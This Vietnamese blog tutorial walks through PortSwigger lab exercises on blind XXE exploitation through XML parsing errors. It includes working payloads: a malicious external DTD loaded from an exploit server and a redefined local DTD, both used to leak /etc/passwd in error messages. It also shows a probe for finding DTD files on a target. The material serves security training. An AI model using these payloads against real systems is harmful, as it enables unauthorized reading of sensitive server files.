NỘI DUNG
Tiếp theo nội dung Penetration Testing Step 3 – Mò mẫm Blind XXE vulnerabilities với out-of-band techniques, kỳ này tôi mần tiếp nội dung còn lại với chiêu Blind XXE vulnerabilities.
Nhắc lại, với Blind XXE vulnerabilities, ứng dụng (dù thực sự có lỗ hổng) cũng sẽ không trả về giá trị nào liên quan đến external entity trong response nên tôi có 2 lựa chọn khả thi là:
- Sử dụng phương án kích hoạt out-of-band network interaction để trích xuất thông tin nhạy cảm;
- Kích hoạt XML parsing error có chứa thông tin nhạy cảm.
Phương án kích hoạt out-of-band network interaction để trích xuất thông tin nhạy cảm tôi đã minh họa trong nội dung kỳ trước. Trong nội dung kỳ này, tôi sẽ xử lý phương án còn lại – kích hoạt XML parsing error có chứa thông tin nhạy cảm.
Lưu ý:
- Như mọi khi, tôi cũng sẽ tận dụng các bài Lab dựng sẵn của ông PortSwigger để tiết kiệm thời gian dàn cảnh;
- Thông tin liên quan đến Burp Suite bạn có thể xem trong nội dung Penetration Testing Step 3 – 6 điều bạn nên biết trước khi xài tool khủng Burp Suite;
- Chi tiết việc sử dụng Burp Suite Repeater bạn có thể xem trong nội dung Penetration Testing Step 3 – Thủ thuật chọc ngoáy HTTP/WebSockets message với Burp Suite Repeater;
- Bạn nên xem lại nội dung Penetration Testing Step 3 – Lần đầu làm chuyện ấy với XML External Entity Injection để nắm các khái niệm liên quan (đặc biệt là chỗ Document Type Definition – DTD) trước khi xem phần này.
#1. Khai thác blind XXE vulnerabilities để trích xuất thông tin qua thông báo lỗi với external DTD
Với kịch bản này, tôi sẽ kích hoạt XML parsing error để đọc các thông tin nhạy cảm (ví dụ nội dung file /etc/passwd) với external DTD độc hại. Cụ thể, tôi di chuyển qua Exploit server, tạo và lưu cái file DTD đểu với nội dung như sau:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
Ý nghĩa của cái đống ở trên cũng gần giống như việc khai thác với external DTD trong kỳ trước (tất nhiên sẽ có một số điểm khác biệt). Tôi diễn giải lại toàn bộ quá trình cho bạn tiện theo dõi như sau:
- Dòng thứ 1 định nghĩa XML parameter entity “file” sẽ chứa nội dung của file mà tôi muốn trích xuất thông tin (cụ thể trong ví dụ trên là etc/passwd);
- Dòng thứ 2 định nghĩa XML parameter entity “eval” sẽ chứa phần dynamic declaration (tạm dịch là khai báo động) cho một XML parameter entity khác là “exfil” (tôi đang dùng từ viết tắt cho chữ exfiltrate, bạn không thích thì dùng chữ khác cũng được, nhưng nhớ kiểm tra phần tham chiếu tương ứng);
- Dòng thứ 3 %eval; gọi tham chiếu đến parameter entity “eval” từ đó tạo dynamic declaration cho exfil entity. Quá trình này cũng sẽ gọi tham chiếu đến file entity để đọc nội dung của file etc/passwd từ đó lấy giá trị gán vào chỗ ‘file:///invalid/%file;’. Cái chữ “invalid” ở đây hàm ý rằng cái file path này là vớ vẩn, không tồn tại. Bạn không thích thì đổi sang chữ khác cũng được. Phần quan trọng là cái “%file” nằm ở phía sau, khi được xử lý sẽ phụt ra nội dung file “etc/passwd” tôi đang thèm khát ;
- Dòng cuối %exfil; sẽ gọi tham chiếu đến parameter entity “exfil” để kích hoạt cho cái đống lằng nhằng ở trên chạy từ đó làm phát sinh error message chứa “tên” của một cái file không tồn tại (thằng ‘file:///invalid/%file;’). Và cái “tên” này sẽ chứa đựng thông tin mà tôi đang tìm kiếm (nội dung file “etc/passwd“);
Tôi chọn Store và sau đó View exploit.
Tiện tay, tôi hốt luôn cái URL của cái exploit.dtd (https://exploit-ac5a1f751f7020d0c01d16a4012a00c0.web-security-academy.net/exploit.dtd trong trường hợp này) luôn để lát nữa dùng.
Rồi, giờ tôi quay lại mục tiêu và giở trò cũ bằng cách chạy cái chức năng Check stock và hốt cái request tương ứng đẩy sang Burp Suite Repeater.
Sau đó, nhảy qua Burp Suite Repeater, mở cái request đã bắt được, tôi tuồn cái external entity definition vào giữa XML declaration và stockCheck element rồi send request.
<!DOCTYPE foo [<!ENTITY % test-xxe SYSTEM "https://exploit-ac5a1f751f7020d0c01d16a4012a00c0.web-security-academy.net/exploit.dtd"> %test-xxe;]>
Và không nằm ngoài dự kiến, response trả về thông báo lỗi và khuyến mãi kèm luôn cho tôi nội dung của file /etc/passwd.
#2. Khai thác blind XXE vulnerabilities để trích xuất thông tin qua thông báo lỗi với local DTD đã được “độ” lại
Tôi chuyển sang kịch bản khi mục tiêu có thể triển khai giải pháp khóa chặt out-of-band interaction nhằm triệt hạ phương án trích xuất dữ liệu (qua out-of-band interaction) lẫn load external DTD từ server khác của tôi.
Để đối phó với chiêu này, tôi sẽ cần chuyển hướng thử sử dụng một external DTD dạng local (tức là nằm cục bộ) trên server của mục tiêu. Lúc này, tôi sẽ cần mông má lại cái local DTD theo kiểu định nghĩa lại một entity đã hiện hữu nhằm kích hoạt thông báo lỗi chứa thông tin nhạy cảm.
Không nói nhiều, tôi bay vào triển luôn phần demo minh họa cho dễ hình dung.
Đầu tiên, tôi cũng truy cập vào một sản phẩm cụ thể của ứng dụng và chạy tính năng Check stock để hốt cái request tương ứng đẩy sang Burp Suite Repeater.
Với cái request vừa tóm được, tôi sáng tác ra một cái parameter entity definition có nội dung như sau.
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
Một số thông tin tôi cần làm rõ trong ví dụ trên bao gồm:
- Dòng thứ 2 từ trên xuống cho biết tôi sẽ định nghĩa một local DTD có tên “local_dtd” chứa nội dung của một external DTD file hiện hữu trên server filesystem (cụ thể là nằm ở vị trí “file:///usr/share/yelp/dtd/docbookx.dtd”);
- Các dòng tiếp theo (chữ đỏ) cho biết tôi sẽ định nghĩa lại một XML parameter có tên là “ISOamso” vốn đã tồn tại trong cái external DTD nói trên;
- Bên trong thằng “ISOamso” này, tôi sẽ có định nghĩa một cái file entity để hốt nội dung của file “etc/passwd”. Đồng thời tôi cũng định nghĩa 2 thằng eval và error nhằm làm phát sinh lỗi khi xử lý file đểu không tồn tại (chỗ ” file:///nonexistent/%file;'“) trước khi gọi tham chiếu đến đám này;
- Dòng thứ 2 từ dưới lên (“%local_dtd;”) thì không có gì mới, sẽ gọi tham chiếu đến local_dtd entity đã định nghĩa, kéo theo phần xử lý cái ISOamso entity làm phát sinh lỗi và trả về nội dung file “etc/passwd”.
Đến đây có thể bạn sẽ phọt một câu hỏi kiểu như “Ủa, sao biết cái được cái external DTD file đang nằm đâu trên server filesystem hay vậy pa?“. Vâng, thực tế, việc này sẽ đòi hỏi tôi phải bỏ thêm công sức ra để dò tìm. Cụ thể, tôi có thể nghiên cứu mục tiêu và xác định các DTD file thường gặp (ví dụ cái “usr/share/yelp/dtd/docbookx.dtd” tương ứng Yelp Help Browser cho GNOME trên Linux). Sau đó tôi sẽ thử submit XXE payload tương ứng theo kiểu như sau:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
Nếu phát sinh lỗi nghĩa là con hàng này không tồn tại trên hệ thống, tôi sẽ chuyển qua kiểm tra đối tượng khác. Và với đối tượng đã xác định có tồn tại, tôi cần search thử và hốt nó về để nghiên cứu nội dung xem có entity nào trong đó mà tôi có thể mông má không.
Lưu ý:
- Theo XML specification, việc sử dụng XML parameter entity ngay bên trong định nghĩa của một parameter entity khác chỉ được phép với external DTD. Với Internal DTD “thuần chủng”, phần lớn trường hợp tôi sẽ bị từ chối thẳng thừng khi giở chiêu trò nói trên;
- Internal DTD tạm hiểu là kiểu định nghĩa đầy đủ “từ A đến Á” tất tần tật mọi thứ trong DOCTYPE element trong khi là external DTD là kiểu định nghĩa ở đâu đó bên ngoài rồi đưa thông tin tham chiếu đến DTD file vào phần DOCTYPE element. Bạn có thể xem thêm thông tin trong nội dung DTD Tutorial (w3schools.com) nếu cần;
- Với document có DTD sử dụng kiểu “lai tạo” gồm cả internal và external DTD declaration cùng với việc internal DTD có thể định nghĩa lại các entity đã được định nghĩa trong external DTD, lệnh cấm sử dụng XML parameter entity bên trong định nghĩa của một parameter entity khác sẽ được “nới lỏng” tạo điều kiện cho tôi giở trò thô bỉ ổi.
Quay trở lại vấn đề chính, tôi tiến hành chèn con hàng ở trên vào giữa cái XML declaration và stockCheck element và send.
Và cũng như kịch bản trước, response trả về lỗi kèm theo nội dung của file /etc/passwd cho tôi chấm mút.
Đến đây tôi cũng xin tạm kết thúc câu chuyện với XXE vulnerabilities nói chung và Blind XXE vulnerabilities nói riêng. Kỳ tới tôi sẽ chuyển sang một chủ đề khác để thay đổi không khí.
1 thought on “Penetration Testing Step 3 – Mò mẫm Blind XXE vulnerabilities với XML parsing error”